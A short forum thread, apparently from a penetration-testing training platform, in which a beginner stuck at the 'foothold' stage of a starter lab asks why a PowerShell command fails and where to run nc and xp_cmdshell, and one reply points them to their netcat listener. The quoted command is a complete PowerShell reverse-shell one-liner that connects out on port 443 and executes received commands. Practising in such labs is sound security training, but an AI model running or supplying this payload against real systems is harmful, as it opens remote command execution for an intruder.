Starting point tutorial FootHold Stage

Hello, a newbie here, I'm stuck in the foothold stage, basically I have these questions:
1. the next command return "syntax error near unexpected token '('
" $client = New-Object System.Net.Sockets.TCPClient("",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() "

any ideas how to solve it?

  1. the commands python3, nc, ufw and xp_cmdshell should be type in the remote host?

Thanks a lot for your comments.


  • edited June 2020

    i guess u really need to check ur netcat terminal after this command ;)

Sign In to comment.